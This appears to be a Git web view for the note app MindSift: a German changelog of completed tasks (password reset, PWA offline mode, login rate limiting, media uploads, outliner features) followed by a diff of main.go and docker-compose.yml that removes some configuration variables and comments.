- Einklappbarer Bereich „Verlinkt auf diese Notiz (n)“ am Notiz-Ende mit Icon, Titel, Ordner und hervorgehobenem Link im Bullet; Klick springt direkt zum Bullet; bei 0 ausgeblendet.
- [x] **Passwort-Reset per E-Mail: Token-Generierung, Mailversand & Session-Invalidierung** *(Commit `5e20710`)*
- Tabelle `password_reset_tokens` (nur SHA-256), Link 1 h und einmal gültig, höchstens alle 2 Min. pro Konto; neutrale Antwort, Versand im Hintergrund; Link nur aus `BASE_URL`; neues Passwort entwertet alle Links und beendet alle Sitzungen. Nur aktiv mit SMTP + gesetzter `BASE_URL`, nicht im Demo-Modus.
- [x] **Passwort-Zurücksetzen-Flow im Login-Screen („Passwort vergessen?“)** *(Commit `5e20710`)*
- „Passwort vergessen?“ am Passwortfeld (nur wenn verfügbar), Formular mit neutraler Bestätigung; `?resetToken=` öffnet „Neues Passwort festlegen“ (mit Wiederholung), Token verschwindet sofort aus der Adresszeile; danach Hinweis zur Anmeldung, bei abgelaufenem Link „Neuen Link anfordern“.
- [x] **PWA Offline-Fähigkeit & App-Shell-Caching (Service Worker & Sync-Queue)** *(Commit `7bba174`)*
- Service Worker: Seiten Network-First mit gecachter index.html, Bundles Cache-First, Icons/Manifest SWR, Cache-Versionen; GET-Antworten pro Benutzer in IndexedDB (App startet offline angemeldet); Outbox für erfasste Gedanken und abgehakte Aufgaben/Listeneinträge, gesendet bei `online`, Start und alle 30 s; Banner „Offline · n Änderungen warten“. Im Browser mit Flugmodus geprüft.
- [x] **Refactoring FLAW-20: Monolithische Go-Dateien (`server.go` & `sqlite.go`) domänenspezifisch aufteilen** *(Commit `74c394e`)*
- Reine Verschiebung per AST-Werkzeug: `storage` → users, apikeys, thoughts (inkl. Alarme), tasklists, documents, folders, tags, lists, teams, system; `api` → handlers_auth/account/thoughts/documents/folders/lists/tasklists/teams/admin/integrations, realtime.go, alarms.go. sqlite.go 637, server.go 460 Zeilen; alle Tests grün.
- [x] **Passwortregeln im Frontend härten (Mindestens 8 Zeichen & Validierungshinweise)** *(Commit `b5f926b`)*
- Gemeinsame Prüfung `lib/password.ts` in Setup, Registrierung/Einladung, Reset, Profil und Admin (Anlage + Reset) mit eigener Meldung „Das Passwort muss mindestens 8 Zeichen lang sein“ statt Browser-Popup; Platzhalter angepasst.
- [x] **Sicherheitslücke FLAW-09: Passwort-Mindestlänge auf 8 Zeichen anheben & zentral validieren** *(Commit `b5f926b`)*
- `auth.ValidatePassword` (≥ 8 Zeichen, nicht nur Leerzeichen, ≤ 72 Bytes) in allen sechs Pfaden; bestehende kürzere Passwörter funktionieren beim Login weiter. Nebenbei: Profil/Admin-Reset kürzen das Passwort nicht mehr (Leerzeichen am Rand machten den Login unmöglich). Offen in FLAW-09: Rate-Limit.
- [x] **Alarm-Logik härten (FLAW-12): Fehlversuche begrenzen (Max. 3 Versuche bei Ausfall aller Kanäle)** *(Commit `d198281`)*
- Spalte `alarm_failures`; nach 3 Durchläufen ohne zustellenden Kanal wird der Alarm aufgegeben (Warnung im Log); Erfolg, neue Fälligkeit oder Wiederöffnen setzen zurück. FLAW-12 damit vollständig behoben.
- [x] **Such-Button in der Desktop-Titelleiste als runder Icon-Button (Lupe im Kreis)** *(Commit `6d720c0`)*
- Runder Icon-Button nur mit Lupe, Tastenkürzel im Tooltip.
- [x] **Header-Navigation: Workspace-Bubble entfernen & Listen-Bubble ergänzen** *(Commit `c4fc455`)*
- Neues Feld `listItemsOpenCount` (offene Einträge aller eigenen, direkt und per Gruppe geteilten Listen, mit Test); Akzent-Zähler an Listen in Header und mobiler Leiste, Workspace ohne Zähler; Stats aktualisieren sich bei Listen-Events und nach Löschen.
- [x] **Workspace-Tabs: Einheitliche `CountBadge`-Bubbles für To-Dos und Hashtags (Notizen ohne Bubble)** *(Commit `4bf060b`)*
- To-Dos und Hashtags mit `CountBadge` auf dem Label, Notizen ohne Zähler.
- [x] **Workspace: Lokale Notizen-Suche entfernen bzw. auf globale Spotlight-Suche umstellen** *(Commit `e7851f1`)*
- Lokaler Filter entfernt; an seiner Stelle ein Button „Notizen durchsuchen… ⌘K“ (mobil 44 px), der die globale Volltextsuche öffnet.
- [x] **Tab-Badges optimieren: Positionierung um ca. 4px nach unten und 4px nach rechts korrigieren** *(Commit `6d6a35d`)*
- Alle Tab-Zähler `-top-0.5 -right-2` mit `pr-3` am Label (Header, Aufgabenlisten, Listen, Workspace); geprüft in Dark, Light und mobil; ui-patterns.md angepasst.
- [x] **Such-Icon in der Titelleiste: Vollständig kreisrundes Styling (`rounded-full`) sicherstellen** *(Commit `afd3b03`)*
- Regel `.bg-panel.border.rounded-full` / `.bg-canvas.border.rounded-full` in index.css: ein explizites `rounded-full` gewinnt jetzt in allen Themes gegen den Theme-Radius (betrifft auch andere runde Buttons/Avatare).
- [x] **Demo-Modus: Automatischer 20-Minuten-Reset-Ticker & Reset-Event** *(Commit `6b9eb62`)*
- `DEMO_RESET_MINUTES` (Standard 20, 0 = aus); feste IDs der Demo-Konten, damit Sitzungen den Reset überleben; laufende Anfragen sperren den Reset (Streams ausgenommen); `DEMO_RESET` an alle Verbindungen; `/auth/status` liefert `demoNextReset` und `demoResetInSeconds`.
- [x] **Demo-Modus: Live-Countdown-Timer & Reset-Banner in der Titelleiste** *(Commit `6b9eb62`)*
- „✨ Demo · Reset in MM:SS“ statt der Versionsnummer (Desktop und mobil, Tooltip); nach dem Reset Cache geleert, Ansichten neu geladen, Hinweis „Demo-Instanz wurde zurückgesetzt“; ohne Event fragt die App nach Ablauf selbst nach. Live mit 1-Minuten-Reset geprüft.
- [x] **Rate-Limiting & temporäre Kontosperre bei Login-Fehlversuchen (FLAW-09 Abschluss)** *(Commit `11c14fa`)*
- Sperre nach Fehlversuchen: Konto + Adresse 3, Konto 20, Adresse 30, je 15 Min., 429 mit Retry-After; so kann ein Angreifer den Admin nicht von außen aussperren. Erfolg bzw. Passwort-Reset heben die Sperre auf. Client-IP nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`, Standard private Netze, `all` = altes Verhalten); `LOGIN_PROTECTION=false` schaltet alles ab.
- [x] **API-Key Scopes einschränken & Webhook-Ingest für Triage, Aufgaben und Listeneinträge** *(Commit `5c711c2`)*
- Scopes `webhook:triage|task|list` (Standard Triage, alte Keys → Triage); Ingest mit `target` task (optional `taskListId`) und `list_item` (`listId`, nur mit Schreibrecht), 403 ohne Scope; Keys öffnen keine Live-Streams mehr. Nebenbei FLAW-27 behoben (3900c61): Listeneinträge waren ohne Rechteprüfung änderbar.
- [x] **API-Key Scopes im Ecosystem-Tab (Auswahl bei Erstellung & Badge-Anzeige)** *(Commit `5c711c2`)*
- Die sichtbare Key-Verwaltung lag in den Kontoeinstellungen, `EcosystemView` war toter Code und ist entfernt; neues `ApiKeysPanel` mit Scope-Auswahl (mind. einer), Badges je Key, Simulator für Inbox/Aufgabe/Listeneintrag und Beispielen mit `X-API-Key`-Header.
- [x] **Automatische Server- & Benutzer-Backups (Backlog / Später geplant)** *(Commit `c97765e, 64e077d`)*
- Admin: Schalter, Uhrzeit, Aufbewahrung (Standard 03:00, 3 Tage), Liste, Download, „Jetzt sichern“; täglich DB-Abzug (`VACUUM INTO`, gzip) und ein ZIP je Benutzer unter `backups/`, verpasste Läufe werden nachgeholt. Benutzer: eigene Server-Backups herunterladen oder einspielen (ersetzen/hinzufügen, nach Bereichen Notizen/Aufgaben/Listen/Inbox/Themes); Import mit derselben Bereichsauswahl; Themes jetzt in Export/Import.
- [x] **Quick-Add FAB: Hold-to-Record Sprachaufnahme mit Swipe-to-Cancel** *(Commit `eabb018, 3739872`)*
- Von Gemini umgesetzt (HoldToRecordFab: Tippen öffnet wie bisher, Halten nimmt per Spracherkennung auf und speichert in die Inbox, nach oben ziehen bricht ab, Rückfall ohne Spracherkennung, Tests). Nachgebessert: Bedienung per Tastatur/Screenreader, Erfolgsmeldung erst nach dem Speichern, Randfarbe im Abbruch-Zustand.
- [x] **Sicherheit S1: Sichere Links & Sicherheits-Header (FLAW-28, FLAW-29)** *(Commit `b2ecda9`)*
- Links nur `http`/`https`/`mailto` (`safeHref`); CSP, `X-Frame-Options`, `nosniff`, `Referrer-Policy`, `Permissions-Policy`; Inline-Scripts der Startseite in Dateien verschoben.
- [x] **Sicherheit S2: Serverseitige Sitzungen & aktuelles Passwort (FLAW-30, FLAW-31)** *(Commit `1af3a6e`)*
- Tabelle `sessions` (ersetzt `revoked_tokens`), gleitend 30 Tage, Token-Erneuerung über `X-Session-Token`; Geräteliste mit Einzel-Abmelden im Profil; Passwort/E-Mail nur mit aktuellem Passwort, Hinweismail an alte Adresse. Upgrade meldet alle einmal ab.
- [x] **Sicherheit S3: Längere IDs, Einladungscodes, Rate-Limits (FLAW-32, FLAW-39, FLAW-40)** *(Commit `3709282`)*
- IDs 96 Bit, Codes `INV-XXXXX-…` mit 100 Bit; Registrierung 20 und „Passwort vergessen“ 10 Anfragen pro Adresse in 15 Min.; Einladung wird vor dem Konto atomar beansprucht.
- [x] **Sicherheit S4: Demo, SMTP-Passwort, Limits, Backups, Downloads (FLAW-33 bis FLAW-38)** *(Commit `9d96981`)*
- Demo verschickt nichts und schützt die gemeinsamen Konten (403 „In der Demo deaktiviert“, Hinweise in der UI); SMTP-Passwort nie an den Browser; `?token=` nur API-Keys; 2-MB-Körperlimit; Konto löschen entfernt Server-Backups; 30 Min. für große Downloads/Importe.
- [x] **Triage: Listenauswahl überspringen, wenn es nur eine beschreibbare Liste gibt** *(Commit `3a27a37`, gemergt in `ef16778`)*
- Von Gemini umgesetzt (Desktop-Button „Auf ‹Liste›“, mobiles Aktions-Sheet, Warteschlange, Schnellerfassung; nur lesbar geteilte Listen ausgeblendet; Tests). Nachgebessert: `useMemo` für die Listenfilterung in der Schnellerfassung. Release v0.6.0.
- [x] **Serverseitige Whisper-Anbindung (ENV-Konfiguration, `/api/v1/voice/transcribe`, Compose-Dienst)** *(Commit `7801cd1`)*
- Abweichend vom ursprünglichen Entwurf nur per ENV (`STT_URL`, `STT_MODEL`, `STT_LANGUAGE`, `STT_API_KEY`, `STT_DISABLED`, Schutzwerte `STT_MAX_SECONDS`, `STT_MAX_UPLOAD_MB`, `STT_MAX_PARALLEL`, `STT_PER_USER_PER_HOUR`, `STT_TIMEOUT_SECONDS`); URL gesetzt = Server-Modus, Demo immer Browser. Admin zeigt nur eine Statuskarte mit Testaufnahme. Compose-Profil `whisper` (speaches 0.8.3-cpu, Modelle in `./whisper`, UID 1000); MindSift stößt den Modell-Download selbst an. Echt getestet mit speaches (tiny/small/large-v3-turbo).
- [x] **Spracheingabe im Frontend auf den Server-Modus umstellen (V2)** *(Commit `7fa21e4`)*
- Gemeinsamer Hook `useVoiceInput` + `VoiceWave` für Quick-Dump-Leiste, mobiles Erfassen-Sheet und Halte-Knopf; Server-Modus mit MediaRecorder, echten Pegel-Wellen und „Wird erkannt…“, Browser-Modus wie bisher, Mikrofon ausgeblendet bei `off`/ohne Unterstützung. Mit speaches im Browser geprüft (Desktop, Handy halten, Handy-Sheet).
- [x] **Workspace-Sidebar: Cleanes Datei-Explorer-Layout ohne Sektions-Überschriften** *(Commit `9f3c78d, gemergt a9d0e49`)*
- Von Gemini 3.8 umgesetzt: keine Überschriften mehr, angeheftete Notizen oben (mit kleinem Pin, Trenner), darunter Ordner und Notizen der Hauptebene; angeheftete Root-Notizen nicht doppelt; Tests.
- [x] **Workspace `/code`-Block: Sprachauswahl & Live-Syntax-Highlighting im VSCodium / VS-Code-Stil** *(Commit `ff53f06, gemergt 9124809, Fix cc68d3f`)*
- Von Gemini 4 umgesetzt: CodeBlockEditor mit Sprachauswahl (~50 Sprachen, nachgeladen), Live-Highlighting als Overlay, Kopieren/Als Text, Tab/Shift+Tab, `/code yaml` und ```yaml; Farben als Theme-Variablen (Dark+/Light+) in allen Themes. Nachgebessert: Fokus blieb nach der Umwandlung nicht im Block (Tippen löste App-Kürzel aus).
- [x] **Docker-Setup vereinfachen: Whisper-Service auskommentieren statt `COMPOSE_PROFILES=whisper`** *(Commit `e385a44`)*
- Profil entfernt; whisper-Block in docker-compose.yml auskommentiert mit Schritt-für-Schritt-Anleitung darüber (Rauten entfernen, STT_URL setzen, Ordner für UID 1000 anlegen); eingeschaltet als gültiges YAML geprüft. README, Architektur-Doku und CHANGELOG angepasst.
- [x] **Docker-Umgebung: Erklärungskommentare der Variablen von `docker-compose.yml` nach `.env.example` verschieben** *(Commit `e385a44`)*
- .env.example komplett auf Deutsch kommentiert (Funktion, Standard, Einheiten, Auswahl), nach Themen gegliedert; docker-compose.yml nur noch Zuordnungen mit Verweis oben auf .env/.env.example. Nebenbei: TZ, TRUSTED_PROXIES, LOGIN_PROTECTION, DEMO_RESET_MINUTES, LEGAL_*_CONTENT wurden vorher gar nicht durchgereicht.
- [x] **Medien in Notizen: Ablage im Backend (M1)** *(Commit `177fa49`)*
- Tabelle `media`, Dateien in `data/media/<docId>/`; Upload mit Schreibrecht, Abruf mit Leserecht (auch kopierte Blöcke), Format am Inhalt erkannt (kein SVG), externe Bilder per SSRF-geschütztem Kopieren; Verweis im Blockinhalt (`media:<id>`), daher keine Änderung am Sync-Modell; Aufräumen nach 24 h ohne Verweis; Grenzen `MEDIA_*`.
- [x] **`/bild` (M2)** *(Commit `e8fa14a`)*
- Nur im leeren Punkt; Auswahl inline (Datei, Kamera, Drag & Drop, Strg+V, Link), Esc bricht ab; Browser verkleinert auf 2048 px und speichert WebP (EXIF/GPS entfällt); Vollbild und Beschriftung.
- [x] **`/audio` (M3)** *(Commit `3f5e3b2`)*
- Bereit-Bubble mit grünem Mikrofon, Aufnahme rot mit Live-Wellen links und Zeit, danach Inline-Player; Datei-Upload; WebM-Dauer-Fix; „Transkribieren“ mit eigener Spracherkennung.
- [x] **`/diktat` (M4)** *(Commit `3f2bc96`)*
- Startet sofort, vollflächiger Wellen-Button mit halbtransparentem „Stopp“, Text landet als normaler Text im Punkt; nur angeboten, wenn Spracheingabe verfügbar.
- [x] **Medien in Backup, Export und Import (M6)** *(Commit `1f63e08`)*
- Backup-ZIP mit `media/`, Markdown-Archiv mit `attachments/` (relative Einbettung), Rück-Import mit neuen IDs; Obsidian-Import übernimmt eingebettete Bilder/Audio, ungenutzte Dateien als übersprungen gemeldet.
- [x] **Workspace Notizen-Editor: Mobiles Padding reduzieren & horizontales Ausweichen bei tiefen Einrückungen** *(Commit `83408d1`)*
- Rand mobil pl-2/pr-1, Einrückung per CSS-Variable 14 px (ab sm 22 px), Zeilen-Mindestbreite 14rem mobil mit seitlichem Scrollen des Inhalts; zusätzlich Zoom-Knopf mobil ausgeblendet (Tipp auf den Punkt zoomt) und Löschen nur in der aktiven Zeile. Gemessen: schmalste Textzeile 128 → 244 px (Demo-Notiz), bei 16 Ebenen ≥ 174 px.
- [x] **Slash-Befehle vereinheitlichen: `/image` statt `/bild`, knappe Texte & Layout-Fix im Menü** *(Commit `1632dd2`)*
- /image statt /bild (Aliase bild, foto; auch sprachnotiz, dictate), kurze Texte, Menü w-72, Label nowrap, Beschreibung truncate rechtsbündig. /diktat bleibt deutsch wie im ursprünglichen Auftrag.
- [x] **Admin-Einstellungen: E-Mail-Absendername (`SMTP_FROM_NAME`) konfigurierbar machen & Vorbelegung** *(Commit `56c1fa0`)*
- Feld „Absender-Name (SMTP_FROM_NAME)“ mit Platzhalter MindSift und Hinweis; Platzhalter der Absenderadresse auf reine Adresse geändert.
- [x] **E-Mail-Absendername unterstützen (`SMTP_FROM_NAME` & Default „MindSift“)** *(Commit `56c1fa0`)*
- SMTP_FROM_NAME (Standard MindSift) in Config, system_settings (smtp_from_name), Compose und .env.example; reine Adresse bekommt den Namen im From-Header, ein Name in SMTP_FROM hat Vorrang, MAIL FROM bleibt die reine Adresse; Test mit Umlauten.
- [x] **Link-Vorschau über Punkten mit Web-Adresse (M5)** *(Commit `4c26eb2`)*
- Server holt https-Seiten SSRF-geschützt, liest og:/twitter:-Tags, Titel, Beschreibung, Icon, Bild; Cache 7 Tage in `link_previews`; kompakte Karte über dem Punkt, ✕ macht `[Titel](url)` daraus (synchronisiert), globaler Schalter unter Darstellung; in der Demo aus. Echt getestet mit Wikipedia und go.dev (Handy und Desktop).
- [x] **Outliner: Bulletpoint (inkl. Unterbaum) in eigenständige Notiz umwandeln** *(Commit `4d1b37c`)*
- Knopf am Punkt (Desktop) und /extract bzw. /notiz; serverseitig über das Operationsprotokoll (offene Editoren folgen live); Titel ohne Hashtags (bleiben am Link), eindeutig mit (2); gleicher Ordner; Freigaben übernommen, fremder Besitzer bekommt Schreibrecht; Hinweis mit „Öffnen“.
- [x] **Notizen zusammenführen (Merge Documents, z. B. per Drag & Drop in der Sidebar)** *(Commit `4d1b37c`)*
- Drag & Drop Notiz auf Notiz in der Sidebar (Hervorhebung) oder Knopf im Notizkopf mit Suche; Bestätigungsdialog; Quelle (muss eigen sein) als h2-Abschnitt mit Unterpunkten angehängt, Quelle in den Papierkorb; Toast mit vollständigem Rückgängig (Abschnitt weg, Quelle zurück). Medien bleiben erreichbar.
- [x] **Link-Vorschau nur bei `/link` im leeren Bulletpoint & Slash-Menü Schließen-Verhalten reparieren** *(Commit `446f8e4`)*
- Gemini 4: Karte nur bei Punkt = genau eine https-Adresse (bzw. /link in leerem Punkt); Slash-Menü nur am Anfang/nach Leerzeichen, Esc/Backspace schließen.
- [x] **Workspace Outliner: Enter-Sperre am letzten leeren Bulletpoint entfernen** *(Commit `446f8e4`)*
- Gemini 4: Sperre entfernt, Enter am Ende legt neuen Punkt an.
- [x] **Slash-Befehls-Menü (`/`): Ausgewähltes Element bei Pfeiltastennavigation automatisch ins Sichtfeld scrollen** *(Commit `446f8e4`)*
- Gemini 4: aktiver Eintrag scrollt per scrollIntoView mit.
- [x] **`/diktat`: Live-Mitschreiben & kein vorzeitiger Abbruch bei Sprechpausen** *(Commit `6795edb`)*
- Gemini 4: Option live in useVoiceInput; Browser-Neustart bei Pausen, Server-Modus in Stücken (eigener Recorder je Abschnitt), mitwachsender Text und Zeit.
- [x] **`/extract` Race-Condition & Konflikt hinter Proxys/Polling beheben (Lokale Link-Ersetzung)** *(Commit `362dd3b`)*
- Umbau: Server legt nur die Notiz an und liefert den Link, der Editor ersetzt den Ast selbst über die Sync-Engine (keine Konflikte, sofort sichtbar, auch bei Polling).
- [x] **Workspace-Sidebar: Ausgelagerte Notiz (`/extract`) sofort ohne Tab-Wechsel in der Dateiliste anzeigen** *(Commit `362dd3b`)*
- onDocCreated/onDocRemoved vom Editor an WorkspaceView, Ordner wird aufgeklappt.
- [x] **Rückgängig-Funktion (Strg+Z / Undo) für ausgelagerte Notizen (`/extract`)** *(Commit `362dd3b`)*
- Strg+Z der Engine holt den Ast zurück, POST /documents/{id}/extract/undo legt die neue Notiz in den Papierkorb; Toast mit Öffnen und Rückgängig.
- [x] **Workspace Header & Aktionen aufräumen: Undo/Redo-Buttons, Drei-Punkte-Menü & Status-Pills nach oben in die Tab-Leiste** *(Commit `5f27e7c`)*
- Gemini 4: Status-Pillen in der Tab-Leiste, Undo/Redo-Knöpfe, Drei-Punkte-Menü (Anheften, Zusammenführen, Export, Löschen).
- [x] **Benutzer-Einstellungen: Granulare Benachrichtigungen & Kanal-Routing (E-Mail & Discord)** *(Commit `d2afcf4, a69bcba`)*
- Gemini 4 Oberfläche (Matrix, Tageszusammenfassung, Beobachten-Knopf), Claude Backend (Routing, Bündelung 5 Min., Watcher, Pause, eigene Änderungen); Gruppen-Freigaben in der Tageszusammenfassung (6b3c32a). Release v0.8.0.
- [x] **HTML-E-Mail-Templates mit Branding & Watcher-Benachrichtigungen für E-Mail & Discord** *(Commit `a69bcba`)*
- multipart/alternative mit schlichtem HTML (inline Styles, keine externen Ressourcen), Discord als ein Embed; gebündelte Nachrichten und Tageszusammenfassung.
- [x] **Code-Blöcke im Workspace (`CodeBlockEditor`): Zeilennummern links anzeigen** *(Commit `1d68638`)*
- Zeilennummernspalte mit synchronem Scrollen, horizontaler Bildlauf statt Umbruch (v0.9.0).
- [x] **Outliner: Standard-Formatierungs-Shortcuts (Strg+B, Strg+I, Strg+K, etc.) für Textauswahl unterstützen** *(Commit `a317ce0`)*
- Strg/Cmd+B, +I (umschaltend), +K (Link bzw. Link-Dialog); nicht in Code-Blöcken und schreibgeschützten Notizen (v0.9.0).
- [x] **Workspace: Doppelten Scrollbalken (Outer Window & Inner Editor) beheben** *(Commit `6c154af`)*
- Workspace füllt das Fenster (100dvh, Flex), nur die Notiz scrollt; am Handy kein getrenntes Scrollen mehr (seitlicher Bildlauf-Bereich behält seine Höhe).
- [x] **Workspace: Drag & Drop-Zustand beim Abbruch bereinigen (Fix für dauerhaft sichtbares „Auf Hauptebene verschieben“)** *(Commit `6c154af`)*
- Globaler dragend-Listener räumt alle Zieh-Zustände auf.
- [x] **Workspace: Sidebar-Toggle-Button bei eingeklappter Leiste dezent stylen (nur Icon in Akzentfarbe)** *(Commit `6c154af`)*
- Rahmen neutral, nur das Symbol in Akzentfarbe.
- [x] **Build & Versionierung: `-dev`-Suffix strikt auf `mindsift:dev` beschränken** *(Commit `6c154af`)*
- main-Builds bekommen v<package-version> als APP_VERSION, Tags den Tag, alles andere -dev.
- [x] **Eigener (ausgehender) Webhook ist nicht mehr einstellbar** *(Commit `261579f`)*
- Dritter Kanal „Webhook“ in der Matrix und der Tageszusammenfassung, JSON-Digest (event: digest).
- [x] **⏸ Zurückgestellt: Workspace: „Heute“-Button für tägliche Notizen (Daily Notes / Logseq- & Obsidian-Workflow)** *(Commit `9008d7c`)*
- Als Journal umgesetzt: eine Notiz pro Tag, endlos untereinander, Kalender in der Seitenleiste, Teilen des sichtbaren Tags, pro Gerät abschaltbar.
- [x] **Outliner: Nummerierte Listen (`/number`) & Markdown-Einfügen (Absätze, Nummern)** *(Commit `2bfe74e`)*
- 1./a./i. nach Verschachtelung, Enter setzt fort, leerer Punkt beendet; Einfügen: Leerzeile trennt Absätze, Einzelabsatz ging verloren (behoben).
- [x] **Outliner: Block-Typ-Rückumwandlung in Standardtext (`/text`, Menü & Undo-Sicherheit)** *(Commit `fd72500`)*
- /text (p, paragraph, bullet, standard), Aufgaben-Menü und Aktionsblase wandeln zurück; Trennlinie per Backspace/Entf (v0.10.0).
- [x] **Outliner: Slash-Command Menü bei Klick ins Leere / Blur schließen & Trigger-Kontext anpassen** *(Commit `fd72500`)*
- Erkennung an der Cursorposition, kontextabhängige Befehle, schließt bei Klick daneben und Blur (v0.10.0).
- [x] **Outliner: Hässlichen Zeilenumbruch durch TODO-3-Punkte-Menü & Badges beheben** *(Commit `fd72500`)*
- Badges und Menü aus dem Fließtext gelöst (v0.10.0).
- [x] **Outliner: Aktions-Buttons (Zoom, Auslagern, Löschen) als schwebendes Overlay statt Flex-Breitenverengung** *(Commit `fd72500`)*
- Schwebende Blase, Textbreite bleibt gleich (v0.10.0).
- [x] **Outliner: Schriftgrößen für H1, H2 und H3 deutlich anheben (H1 auf Titel-Niveau)** *(Commit `fd72500`)*
- H1 xl/2xl, H2 lg/xl, H3 base; Notiztitel dünn und größer (v0.10.0).
- [x] **Design: Zähler-Badges (`CountBadge`) & Slash-Command-Auswahl mit reduzierter Deckkraft (Opacity 0.6) stylen** *(Commit `1753208`)*
- Akzent-Badge über accent-dim mit Rand, Muted über panel-elevated; Slash-Auswahl dezent (v0.10.0).
- [x] **Quick Dump / Instant-Capture: Unnötiges Scrolling deaktivieren, Platzhaltertext kürzen & Absende-Pfeil nach unten umdrehen** *(Commit `1753208`)*
- Kurzer Platzhalter, kein Scrollen einzeilig, Pfeil nach unten (v0.10.0).
- [x] **Triage-Deck: Mobile Schnellaktions-Buttons (Entfernen, Aufgabe, Liste, Notiz) unter der Karte einblenden** *(Commit `1753208`)*
- Leiste Wegwerfen/Liste/Notiz/Aufgabe unter der Karte (v0.10.0).
- [x] **Workspace: „Neuer Ordner“-Modal zentriert unter dem Mauszeiger öffnen (Oberkante mittig)** *(Commit `1753208`)*
- FormSheet mittig unter dem Klick mit Rand-Schutz (v0.10.0).
- [x] **Light Theme: Hintergrundfarben in Notizen korrigieren (Sidebar grau, Editor weiß)** *(Commit `2542e0e`)*
- Editor weiß, Ordnerleiste grau über --bg-editor/--bg-sidebar (v0.10.0).
- [x] **PWA Web Share Target: Text, Links und Bilder aus Smartphone-Apps direkt in den MindSift-Posteingang teilen** *(Commit `86d2cd0`)*
- Teilen-Ziel im Manifest, Service Worker legt geteilte Inhalte ab, Import in den Posteingang; Bilder als Hinweistext (Gemini).
- [x] **Outliner: Deep-Linking & Verlinkung einzelner Bulletpoints (Block-Referenzen)** *(Commit `1a49e6b`)*
- [[Notiz#^id|Notiz › Auszug]], kopieren an jedem Punkt, Auswahl im Link-Dialog, Sprung mit Hervorhebung, Hinweis wenn der Punkt fehlt.
- [x] **Workspace: Sidebar-Kopfzeile aufräumen (Überschrift entfernen, Suche & Aktions-Buttons in eine Zeile)** *(Commit `d408e7d`)*
- Überschrift entfernt, Suche + neuer Ordner + neue Notiz in einer Zeile.
- [x] **Workspace: Ablenkungsfreier Fokus-Modus (Zen-Modus) mit Auto-Hide-Header** *(Commit `226c863`)*
- Strg+Umschalt+F / Menü, Lesebreite, Kopfleiste am oberen Rand, Esc beendet.
- [x] **Workspace: Notiz-Aktionsleiste in die obere Tab-Leiste integrieren, Editor-Headerleiste komplett entfernen & Statusanzeigen vereinheitlichen** *(Commit `d408e7d`)*
- Desktop: Aktionen per Portal in der Workspace-Leiste, feste Reihenfolge, Speicherstatus nur als Symbol; Handy: Titel erst nach Wegscrollen.
- [x] **Workspace Journal: Umschaltbares Schließen (Toggle), prominentes Auffahr-Panel & Zustandskonsistenz** *(Commit `375dda9`)*
- Panel mit Rahmen, zweiter Klick schließt, Zustand bleibt über Tab-Wechsel.
- [x] **Outliner: Hierarchisches Einrücken nach Überschriften & Erkennung von Markdown-Listen (`*`, `-`, `1.`)** *(Commit `375dda9`)*
- Einfügen und Import verschachteln Abschnitte unter Überschriften, Enter an Überschrift legt Unterpunkt an, - / * / + als Kürzel.
- [x] **Globaler App-Footer mit Versionsnummer, „Über MindSift“, Rechtstexten & Custom-Link (inkl. Demo-Modus)** *(Commit `c181ffe`)*
- Footer am Desktop, Über-Dialog, LEGAL_CUSTOM_LINK_* (Gemini).
- [x] **Web Push-Benachrichtigungen bei Fälligkeiten über Service Worker & VAPID (Browser & Handy)** *(Commit `38b8c92`)*
- Push als Kanal in der Matrix und Tageszusammenfassung, VAPID automatisch, Gerät pro Browser ein-/ausschalten, Test; Verschlüsselung per Test geprüft.
- [x] **CI/CD & Pipeline: Dreifachen Build & redundante Testläufe bei Release-Merge/Tags optimieren** *(Commit `141f87f`)*
- Tests einmal pro Code-Stand, Release-Tag taggt latest um; Zuordnung als Image-Label statt Zusatz-Tags.
+1 -5
View File
@@ -9,7 +9,6 @@ import (
"net/http"
"os"
"os/signal"
"path/filepath"
"syscall"
"time"
_ "time/tzdata" // time zones without system tzdata (scratch/alpine images)
@@ -47,7 +46,6 @@ func main() {
if cfg.DemoMode {
slog.Info("🧪 Demo-Modus aktiv: Setze Datenbank zurück und richte Demo-Accounts ein...")
_ = os.RemoveAll(filepath.Join(filepath.Dir(cfg.DatabasePath), "media")) // uploads of the last run
if err := store.ResetAndSeedDemo(); err != nil {
slog.Warn("⚠️ Fehler beim Einrichten des Demo-Modus", "error", err)
} else {
@@ -56,7 +54,7 @@ func main() {
}
// Seed SMTP defaults from environment variables into DB if not yet configured in DB
store.SeedSMTPDefaultsFromEnv(cfg.SMTPHost, cfg.SMTPPort, cfg.SMTPUser, cfg.SMTPPass, cfg.SMTPFrom, cfg.SMTPFromName, cfg.SMTPTLS, cfg.SMTPSkipVerify)
store.SeedSMTPDefaultsFromEnv(cfg.SMTPHost, cfg.SMTPPort, cfg.SMTPUser, cfg.SMTPPass, cfg.SMTPFrom, cfg.SMTPTLS, cfg.SMTPSkipVerify)
wsHub := ws.NewHub()
@@ -103,6 +101,4 @@ func main() {
if err := httpServer.Shutdown(ctx); err != nil {
slog.Warn("HTTP server shutdown finished with error", "error", err)
}
// Let a running compaction finish before the deferred store.Close
srv.Close()
}
+6 -58
View File
@@ -1,6 +1,3 @@
# MindSift – Docker Compose
# Eingestellt wird alles in der Datei .env neben dieser Datei. Was jede Variable bewirkt, steht in
# .env.example (kopieren: cp .env.example .env). Hier stehen nur die Zuordnungen mit Standardwerten.
services:
mindsift:
image: git.dsit.me/sandrodach/mindsift:dev
@@ -13,74 +10,25 @@ services:
environment:
- PORT=8080
- DATA_DIR=/data
- TZ=${TZ:-Europe/Berlin}
- JWT_SECRET=${JWT_SECRET:-change_this_to_a_secure_random_key_min_32_chars}
- BASE_URL=${BASE_URL:-http://localhost:8080}
- ALLOW_REGISTRATION=${ALLOW_REGISTRATION:-false}
- TRUSTED_PROXIES=${TRUSTED_PROXIES:-private}
- RETENTION_ALLOW_NEVER=${RETENTION_ALLOW_NEVER:-}
- LOGIN_PROTECTION=${LOGIN_PROTECTION:-true}
- LOG_LEVEL=${LOG_LEVEL:-info}
- DEBUG=${DEBUG:-false}
# Set LOG_LEVEL=debug or DEBUG=true for detailed request and sync logging
# - LOG_LEVEL=debug
# - DEBUG=true
# Demo mode: if true, automatically seeds demo accounts admin/admin and user/user
- MINDA_DEMO=${MINDA_DEMO:-false}
- DEMO_RESET_MINUTES=${DEMO_RESET_MINUTES:-20}
# E-Mail
# Optional SMTP / Mail Configuration (can also be configured in Admin UI)
- SMTP_HOST=${SMTP_HOST:-}
- SMTP_PORT=${SMTP_PORT:-587}
- SMTP_USER=${SMTP_USER:-}
- SMTP_PASS=${SMTP_PASS:-}
- SMTP_FROM=${SMTP_FROM:-}
